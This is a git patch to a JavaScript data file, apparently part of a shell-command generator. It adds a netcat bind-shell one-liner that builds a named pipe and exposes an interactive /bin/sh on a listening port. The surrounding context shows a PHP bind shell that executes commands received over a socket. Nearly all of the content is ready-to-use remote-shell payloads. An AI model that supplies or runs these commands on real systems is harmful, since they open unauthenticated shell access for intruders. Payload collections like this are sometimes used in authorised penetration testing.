From 41386df6f01b953ba438d962aef706624d6a0271 Mon Sep 17 00:00:00 2001 From: ZX Date: Fri, 3 Mar 2023 21:06:24 +0800 Subject: [PATCH] Added nc bind shell for Linux & MacOS --- js/data.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 56059dc..75055af 100644 --- a/js/data.js +++ b/js/data.js @@ -367,7 +367,12 @@ const bindShellCommands = withCommandType( "name": "PHP Bind", "command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'", "meta": ["bind", "mac", "linux", "windows"] - } + }, + { + "name": "nc Bind", + "command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f", + "meta": ["bind", "mac", "linux"] + }, ] );